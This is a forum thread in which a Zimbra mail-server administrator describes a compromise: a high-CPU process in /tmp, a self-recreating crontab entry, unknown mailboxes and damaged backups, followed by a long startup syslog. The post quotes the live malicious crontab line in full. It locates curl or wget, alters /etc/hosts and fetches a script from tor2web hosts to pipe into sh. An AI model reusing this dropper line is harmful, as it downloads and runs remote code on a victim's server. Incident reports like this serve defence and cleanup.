@scottalanmiller said in Zimbra /tmp/.cache/.kthrotlds 400% CPU usage:

nding the compromise. It could be anywhere.

yah better install free zimbra restore the backup...

yes this is the entry...

/11 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to bug-wget@gnu.org" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.|timesync.su|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh &
~
~

ok shud i re-install... i have a backup

@scottalanmiller yes scott

yes its update...i had same issue last time i found some scripts in tmp
i just modified inside that and it stopped for somtime..now again its started..

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
13921 zimbra    20   0  354748  11156    720 S **299**.6  0.1   4:13.99 /tmp/.cache/.kthrotlds

any idea where excatly this is running i tried delete tmp folder
still crontab entry keeps getting created automatically
where excatly its excuting ..please help

@dbeato yes i guess... almost all emails backup are corrupted
few email ids had configured locally ..they are safe...

@nagendra said in zimbra 8.6 memcached is not running:

aileen@hulastudios.co.in

aileen@hulastudios.co.in
dolly@hulastudios.co.in
selma@hulastudios.co.in
gale@hulastudios.co.in

this email id does not exists i never created them...

Jul 8 08:58:14 mail systemd-logind: New seat seat0.
Jul 8 08:58:14 mail systemd-logind: Watching system buttons on /dev/input/event0 (Power Button)
Jul 8 08:58:19 mail su: (to zimbra) root on none
Jul 8 08:58:20 mail zimbramon[978]: 978:info: Starting services initiated by zmcontrol
Jul 8 08:58:20 mail slapd[1247]: @(#) $OpenLDAP: slapd 2.4.39 (Dec 2 2014 21:25:18) $#012#011build@zre-rhel7-64.eng.zimbra.com:/home/build/p4/zimbra/JUDASPRIEST-860/ThirdParty/openldap/openldap-2.4.39.2z/servers/slapd
Jul 8 08:58:20 mail slapd[1248]: slapd starting
Jul 8 08:58:23 mail systemd-logind: New session 1 of user root.
Jul 8 08:58:25 mail zimbramon[978]: 978:info: Starting zmconfigd via zmcontrol
Jul 8 08:58:30 mail zmconfigd[1297]: zmconfigd started on mail.hulastudios.co.in with loglevel=3 pid=1297
Jul 8 08:58:30 mail zmconfigd[1297]: Fetching All configs
Jul 8 08:58:30 mail zmconfigd[1297]: All configs fetched in 0.18 seconds
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/freshclam.conf with mode 600 (0.02 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/opendkim.conf with mode 440 (0.01 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/service/WEB-INF/web.xml with mode 440 (0.07 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbraAdmin/WEB-INF/jetty-env.xml with mode 440 (0.01 sec)
Jul 8 08:58:30 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/dspam.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/jetty-env.xml with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/clamd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbraAdmin/WEB-INF/web.xml with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/spnego.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimbra/WEB-INF/web.xml with mode 440 (0.03 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/cbpolicyd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/jetty.xml with mode 440 (0.06 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/spnego_java_options with mode 440 (0.02 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/sasl2/smtpd.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/spnego.properties with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/postfix_header_checks with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/master.cf with mode 440 (0.04 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/opendkim-localnets.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/etc/krb5.ini with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/stats.conf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/saslauthd.conf with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/tag_as_originating.re with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/log4j.properties with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/amavisd.conf with mode 440 (0.04 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/webapps/zimlet/WEB-INF/web.xml with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/modules/setuid.mod with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/postfix/conf/tag_as_foreign.re with mode 440 (0.00 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/data/spamassassin/localrules/salocal.cf with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/conf/mta_milter_options with mode 440 (0.01 sec)
Jul 8 08:58:31 mail zmconfigd[1297]: Rewrote: /opt/zimbra/mailboxd/start.d/setuid.ini with mode 440 (0.01 sec)
Jul 8 08:58:32 mail zmconfigd[1297]: All rewrite threads completed in 1.66 sec
Jul 8 08:58:32 mail zmconfigd[1297]: All restarts completed in 0.00 sec
Jul 8 08:58:32 mail zimbramon[978]: 978:info: Starting logger via zmcontrol
Jul 8 08:58:35 mail zimbramon[978]: 978:info: Starting mailbox via zmcontrol
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: stale pid 2307 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2303]: no manager process is running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: start requested
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: checking if another instance of manager is already running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: stale pid 2307 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 08:58:37 mail zmmailboxdmgr[2314]: assuming no other instance is running
Jul 8 08:58:37 mail zmmailboxdmgr[2315]: wrote manager pid 2315 to /opt/zimbra/log/zmmailboxd_manager.pid
Jul 8 08:58:37 mail zmmailboxdmgr[2315]: manager started mailboxd/JVM with pid 2316
Jul 8 08:58:37 mail zmmailboxdmgr[2316]: wrote java pid 2316 to /opt/zimbra/log/zmmailboxd_java.pid
Jul 8 08:58:44 mail zimbramon[978]: 978:info: Starting memcached via zmcontrol
Jul 8 08:58:45 mail zimbramon[978]: 978:info: Starting proxy via zmcontrol
Jul 8 08:58:45 mail zimbramon[978]: 978:info: Starting amavis via zmcontrol
Jul 8 08:58:45 mail amavis-mc[2559]: amavis master process starting. daemonized as PID [2559], perl 5.016003
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2563] started: /opt/zimbra/amavisd/sbin/amavis-services msg-forwarder
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2564] started: /opt/zimbra/amavisd/sbin/amavis-services childproc-minder
Jul 8 08:58:45 mail amavis-mc[2559]: Process [2565] started: /opt/zimbra/amavisd/sbin/amavis-services snmp-responder
Jul 8 08:58:45 mail amavis-services[2564]: amavis-services-2.9.0 (20140506) task 'childproc-minder' [2564] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:45 mail amavis-services[2563]: amavis-services-2.9.0 (20140506) task 'msg-forwarder' [2563] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:45 mail amavis-services[2565]: amavis-services-2.9.0 (20140506) task 'snmp-responder' [2565] started. ZMQ::LibZMQ3 1.13, lib 3.2.3
Jul 8 08:58:46 mail amavis-services[2564]: childproc_minder: FLUSH process states
Jul 8 08:58:46 mail amavis[2570]: starting. /opt/zimbra/amavisd/sbin/amavisd at mail.hulastudios.co.in amavisd-new-2.9.0 (20140509), Unicode aware, LC_ALL="C", LANG="C"
Jul 8 08:58:46 mail amavis[2570]: perl=5.016003, user=997, EUID: 997 (997); group=, EGID: 995 4 5 89 995 (995 4 5 89 995)
Jul 8 08:58:46 mail amavis-services[2565]: snmp_responder: FLUSH snmp data
Jul 8 08:58:46 mail amavis-services[2564]: childproc_minder: FLUSH process states
Jul 8 08:58:47 mail amavis[2570]: SpamControl: init_pre_chroot on SpamAssassin done
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Process Backgrounded
Jul 8 08:58:47 mail amavis[2591]: Net::Server: 2019/07/08-08:58:47 Amavis (type Net::Server::PreForkSimple) starting! pid(2591)
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to UNIX socket file "/opt/zimbra/data/amavisd/amavisd.sock"
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10024 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10024 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10026 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10026 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10032 on host 127.0.0.1 with IPv4
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Binding to TCP port 10032 on host ::1 with IPv6
Jul 8 08:58:47 mail amavis[2591]: Net::Server: Group Not Defined. Defaulting to EGID '995 4 5 89 995'
Jul 8 08:58:47 mail amavis[2591]: Net::Server: User Not Defined. Defaulting to EUID '997'
Jul 8 08:58:47 mail amavis[2591]: Module Amavis::Conf 2.320
Jul 8 08:58:47 mail amavis[2591]: Module Archive::Zip 1.37
Jul 8 08:58:47 mail amavis[2591]: Module Compress::Raw::Zlib 2.065
Jul 8 08:58:47 mail amavis[2591]: Module Compress::Zlib 2.064
Jul 8 08:58:47 mail amavis[2591]: Module Crypt::OpenSSL::RSA 0.27
Jul 8 08:58:47 mail amavis[2591]: Module DB_File 1.831
Jul 8 08:58:47 mail amavis[2591]: Module Digest::MD5 2.52
Jul 8 08:58:47 mail amavis[2591]: Module Digest::SHA 5.86
Jul 8 08:58:47 mail amavis[2591]: Module Encode 2.51
Jul 8 08:58:47 mail amavis[2591]: Module File::Temp 0.2304
Jul 8 08:58:47 mail amavis[2591]: Module IO::Socket::INET6 2.72
Jul 8 08:58:47 mail amavis[2591]: Module IO::Socket::IP 0.28
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Entity 5.505
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Parser 5.505
Jul 8 08:58:47 mail amavis[2591]: Module MIME::Tools 5.505
Jul 8 08:58:47 mail amavis[2591]: Module Mail::DKIM::Signer 0.4
Jul 8 08:58:47 mail amavis[2591]: Module Mail::DKIM::Verifier 0.4
Jul 8 08:58:47 mail amavis[2591]: Module Mail::Header 2.13
Jul 8 08:58:47 mail amavis[2591]: Module Mail::Internet 2.13
Jul 8 08:58:47 mail amavis[2591]: Module Mail::SPF v2.009
Jul 8 08:58:47 mail amavis[2591]: Module Mail::SpamAssassin 3.004000
Jul 8 08:58:47 mail amavis[2591]: Module Net::DNS 0.74
Jul 8 08:58:47 mail amavis[2591]: Module Net::LDAP 0.61
Jul 8 08:58:47 mail amavis[2591]: Module Net::Server 2.007
Jul 8 08:58:47 mail amavis[2591]: Module NetAddr::IP 4.072
Jul 8 08:58:47 mail amavis[2591]: Module Scalar::Util 1.38
Jul 8 08:58:47 mail amavis[2591]: Module Socket 2.013
Jul 8 08:58:47 mail amavis[2591]: Module Socket6 0.25
Jul 8 08:58:47 mail amavis[2591]: Module Time::HiRes 1.9726
Jul 8 08:58:47 mail amavis[2591]: Module URI 1.60
Jul 8 08:58:47 mail amavis[2591]: Module Unix::Getrusage 0.03
Jul 8 08:58:47 mail amavis[2591]: Module Unix::Syslog 1.1
Jul 8 08:58:47 mail amavis[2591]: Module ZMQ::LibZMQ3 1.13
Jul 8 08:58:47 mail amavis[2591]: Amavis::ZMQ code loaded
Jul 8 08:58:47 mail amavis[2591]: Amavis::DB code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL base code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL::Log code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SQL::Quarantine NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Lookup::SQL code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Lookup::LDAP code loaded
Jul 8 08:58:47 mail amavis[2591]: AM.PDP-in proto code loaded
Jul 8 08:58:47 mail amavis[2591]: SMTP-in proto code loaded
Jul 8 08:58:47 mail amavis[2591]: Courier proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: SMTP-out proto code loaded
Jul 8 08:58:47 mail amavis[2591]: Pipe-out proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: BSMTP-out proto code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Local-out proto code loaded
Jul 8 08:58:47 mail amavis[2591]: OS_Fingerprint code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-VIRUS code loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM code loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-EXT code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-C code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: ANTI-SPAM-SA code loaded
Jul 8 08:58:47 mail amavis[2591]: Unpackers code loaded
Jul 8 08:58:47 mail amavis[2591]: DKIM code loaded
Jul 8 08:58:47 mail amavis[2591]: Tools code NOT loaded
Jul 8 08:58:47 mail amavis[2591]: Found $file at /usr/bin/file
Jul 8 08:58:47 mail amavis[2591]: No $altermime, not using it
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .mail
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .asc
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .uue
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .hqx
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .ync
Jul 8 08:58:47 mail amavis[2591]: No ext program for .F, tried: unfreeze, freeze -d, melt, fcat
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .Z at /usr/bin/gzip -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .gz at /usr/bin/gzip -d
Jul 8 08:58:47 mail amavis[2591]: No ext program for .bz2, tried: bzip2 -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .xz at /usr/bin/xzdec
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .lzma at /usr/bin/xz -dc --format=lzma
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lrz, tried: lrzip -q -k -d -o -, lrzcat -q -k
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lzo, tried: lzop -d
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .rpm at /usr/bin/rpm2cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .cpio at /usr/bin/cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .tar at /usr/bin/cpio
Jul 8 08:58:47 mail amavis[2591]: Found decoder for .deb at /usr/bin/ar
Jul 8 08:58:47 mail amavis[2591]: No ext program for .rar, tried: unrar, rar
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arj, tried: unarj, arj
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arc, tried: nomarch, arc
Jul 8 08:58:47 mail amavis[2591]: No ext program for .zoo, tried: zoo, unzoo
Jul 8 08:58:47 mail amavis[2591]: No ext program for .doc, tried: ripole
Jul 8 08:58:47 mail amavis[2591]: No ext program for .cab, tried: cabextract
Jul 8 08:58:47 mail amavis[2591]: No ext program for .tnef, tried: tnef
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .tnef
Jul 8 08:58:47 mail amavis[2591]: No ext program for .zip, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .kmz, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .zip
Jul 8 08:58:47 mail amavis[2591]: Internal decoder for .kmz
Jul 8 08:58:47 mail amavis[2591]: No ext program for .7z, tried: 7zr, 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .7z, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .bz2, tried: 7za, 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .jar, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .arj, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .rar, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .swf, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .lha, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .iso, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .cab, tried: 7z
Jul 8 08:58:47 mail amavis[2591]: No ext program for .exe, tried: unrar, rar; lha; unarj, arj
Jul 8 08:58:47 mail amavis[2591]: No decoder for .7z
Jul 8 08:58:47 mail amavis[2591]: No decoder for .F
Jul 8 08:58:47 mail amavis[2591]: No decoder for .arc
Jul 8 08:58:47 mail amavis[2591]: No decoder for .arj
Jul 8 08:58:47 mail amavis[2591]: No decoder for .bz2
Jul 8 08:58:47 mail amavis[2591]: No decoder for .cab
Jul 8 08:58:47 mail amavis[2591]: No decoder for .doc
Jul 8 08:58:47 mail amavis[2591]: No decoder for .exe
Jul 8 08:58:47 mail amavis[2591]: No decoder for .iso
Jul 8 08:58:47 mail amavis[2591]: No decoder for .jar
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lha
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lrz
Jul 8 08:58:47 mail amavis[2591]: No decoder for .lzo
Jul 8 08:58:47 mail amavis[2591]: No decoder for .rar
Jul 8 08:58:47 mail amavis[2591]: No decoder for .swf
Jul 8 08:58:47 mail amavis[2591]: No decoder for .zoo
Jul 8 08:58:47 mail amavis[2591]: Using primary internal av scanner code for ClamAV-clamd
Jul 8 08:58:47 mail amavis[2591]: initializing Mail::SpamAssassin (0)
Jul 8 08:58:47 mail zimbramon[978]: 978:info: Starting antispam via zmcontrol
Jul 8 08:58:47 mail zimbramon[978]: 978:info: Starting antivirus via zmcontrol
Jul 8 08:58:47 mail clamd[2733]: clamd daemon 0.98.4 (OS: linux-gnu, ARCH: x86_64, CPU: x86_64)
Jul 8 08:58:47 mail clamd[2733]: Log file size limited to 20971520 bytes.
Jul 8 08:58:47 mail clamd[2733]: Reading databases from /opt/zimbra/data/clamav/db
Jul 8 08:58:47 mail clamd[2733]: Not loading PUA signatures.
Jul 8 08:58:47 mail clamd[2733]: Bytecode: Security mode set to "TrustSigned".
Jul 8 08:58:52 mail amavis[2591]: SpamControl: init_pre_fork on SpamAssassin done
Jul 8 08:58:52 mail amavis[2591]: extra modules loaded after daemonizing/chrooting: /opt/zimbra/zimbramon/lib/Net/libnet.cfg, Mail/SpamAssassin/Plugin/FreeMail.pm, Mail/SpamAssassin/Plugin/SpamCop.pm, Net/Cmd.pm, Net/Config.pm, Net/SMTP.pm
Jul 8 08:58:55 mail clamd[2733]: Loaded 4566341 signatures.
Jul 8 08:58:56 mail clamd[2733]: TCP: Bound to address localhost on port 3310
Jul 8 08:58:56 mail clamd[2733]: TCP: Setting connection queue length to 200
Jul 8 08:58:56 mail clamd[2733]: LOCAL: Unix socket file /opt/zimbra/data/clamav/clamav.sock
Jul 8 08:58:56 mail clamd[2733]: LOCAL: Setting connection queue length to 200
Jul 8 08:58:56 mail clamd[2767]: Limits: Global size limit set to 52428800 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: File size limit set to 52428800 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: Recursion level limit set to 16.
Jul 8 08:58:56 mail clamd[2767]: Limits: Files limit set to 10000.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxEmbeddedPE limit set to 10485760 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxHTMLNormalize limit set to 10485760 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxHTMLNoTags limit set to 2097152 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxScriptNormalize limit set to 5242880 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxZipTypeRcg limit set to 1048576 bytes.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxPartitions limit set to 50.
Jul 8 08:58:56 mail clamd[2767]: Limits: MaxIconsPE limit set to 100.
Jul 8 08:58:56 mail clamd[2767]: Archive support enabled.
Jul 8 08:58:56 mail clamd[2767]: Algorithmic detection enabled.
Jul 8 08:58:56 mail clamd[2767]: Portable Executable support enabled.
Jul 8 08:58:56 mail clamd[2767]: ELF support enabled.
Jul 8 08:58:56 mail clamd[2767]: Mail files support enabled.
Jul 8 08:58:56 mail clamd[2767]: OLE2 support enabled.
Jul 8 08:58:56 mail clamd[2767]: PDF support enabled.
Jul 8 08:58:56 mail clamd[2767]: SWF support enabled.
Jul 8 08:58:56 mail clamd[2767]: HTML support enabled.
Jul 8 08:58:56 mail clamd[2767]: Self checking every 600 seconds.
Jul 8 08:58:57 mail zimbramon[978]: 978:info: Starting opendkim via zmcontrol
Jul 8 08:58:57 mail opendkim[2796]: OpenDKIM Filter v2.9.2 starting (args: -x /opt/zimbra/conf/opendkim.conf -u zimbra)
Jul 8 08:58:59 mail zimbramon[978]: 978:info: Starting cbpolicyd via zmcontrol
Jul 8 08:59:00 mail zimbramon[978]: 978:info: Starting snmp via zmcontrol
Jul 8 08:59:01 mail zimbramon[978]: 978:info: Starting spell via zmcontrol
Jul 8 08:59:01 mail zimbramon[978]: 978:info: Starting mta via zmcontrol
Jul 8 08:59:01 mail saslauthd[2954]: detach_tty : master pid is: 2954
Jul 8 08:59:01 mail saslauthd[2954]: ipc_init : listening on socket: /opt/zimbra/data/sasl2/state/mux
Jul 8 08:59:02 mail /postfix-script[3091]: starting the Postfix mail system
Jul 8 08:59:02 mail postfix/master[3093]: daemon started -- version 2.11.1, configuration /opt/zimbra/postfix-2.11.1.2z/conf
Jul 8 08:59:02 mail zimbramon[978]: 978:info: Starting stats via zmcontrol
Jul 8 08:59:02 mail zimbramon[978]: 978:info: Starting service via zmcontrol
Jul 8 08:59:04 mail zmmailboxdmgr[2315]: manager woke up from wait on mailboxd/JVM with pid 2316
Jul 8 08:59:04 mail zmmailboxdmgr[2315]: manager started mailboxd/JVM with pid 3694
Jul 8 08:59:04 mail zmmailboxdmgr[3694]: wrote java pid 3694 to /opt/zimbra/log/zmmailboxd_java.pid
Jul 8 08:59:04 mail zimbramon[978]: 978:info: Starting zimbra via zmcontrol
Jul 8 08:59:04 mail zimbramon[978]: 978:info: Starting zimbraAdmin via zmcontrol
Jul 8 08:59:05 mail zimbramon[978]: 978:info: Starting zimlet via zmcontrol
Jul 8 08:59:14 mail systemd-logind: New session 4 of user root.
Jul 8 08:59:21 mail postfix/smtps/smtpd[4311]: connect from unknown[45.13.39.115]
Jul 8 08:59:21 mail su: (to zimbra) root on pts/0
Jul 8 08:59:34 mail systemd-logind: New session 5 of user zimbra.
Jul 8 08:59:34 mail systemd-logind: New session 6 of user zimbra.
Jul 8 08:59:37 mail systemd-logind: Removed session 6.
Jul 8 08:59:38 mail systemd-logind: Removed session 5.
Jul 8 08:59:39 mail systemd-logind: New session 7 of user zimbra.
Jul 8 08:59:44 mail systemd-logind: Removed session 7.
Jul 8 08:59:44 mail systemd-logind: New session 8 of user zimbra.
Jul 8 08:59:47 mail postfix/smtps/smtpd[4311]: Anonymous TLS connection established from unknown[45.13.39.115]: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Jul 8 08:59:49 mail systemd-logind: Removed session 8.
Jul 8 08:59:49 mail systemd-logind: New session 9 of user zimbra.
Jul 8 08:59:54 mail systemd-logind: Removed session 9.
Jul 8 08:59:54 mail systemd-logind: New session 10 of user zimbra.
Jul 8 08:59:54 mail systemd-logind: New session 11 of user zimbra.
Jul 8 08:59:56 mail systemd-logind: Removed session 11.
Jul 8 08:59:57 mail systemd-logind: Removed session 10.
Jul 8 08:59:58 mail slapd[1248]: slap_queue_csn: queing 0x7f772a22c1b0 20190708085958.528653Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_graduate_commit_csn: removing 0x5fbb800 20190708085958.528653Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_queue_csn: queing 0x7f772aa2d1b0 20190708085958.560511Z#000000#000#000000
Jul 8 08:59:58 mail slapd[1248]: slap_graduate_commit_csn: removing 0x5fbb020 20190708085958.560511Z#000000#000#000000
Jul 8 09:00:03 mail zmmailboxdmgr[2315]: manager woke up from wait on mailboxd/JVM with pid 3694
Jul 8 09:00:03 mail zmmailboxdmgr[2315]: mailboxd/JVM exited twice in 59 seconds (tolerance=60)
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: assuming no other instance is running
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: assuming no other instance is running
Jul 8 09:00:35 mail zmmailboxdmgr[6606]: no manager process is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: assuming no other instance is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: assuming no other instance is running
Jul 8 09:00:36 mail zmmailboxdmgr[6679]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6759]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: file /opt/zimbra/log/zmmailboxd.pid does not exist
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: assuming no other instance is running
Jul 8 09:00:38 mail zmmailboxdmgr[6787]: no manager process is running
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: stale pid 2315 found in /opt/zimbra/log/zmmailboxd_manager.pid: No such process
Jul 8 09:00:38 mail zmmailboxdmgr[6815]: assuming no other instance is running
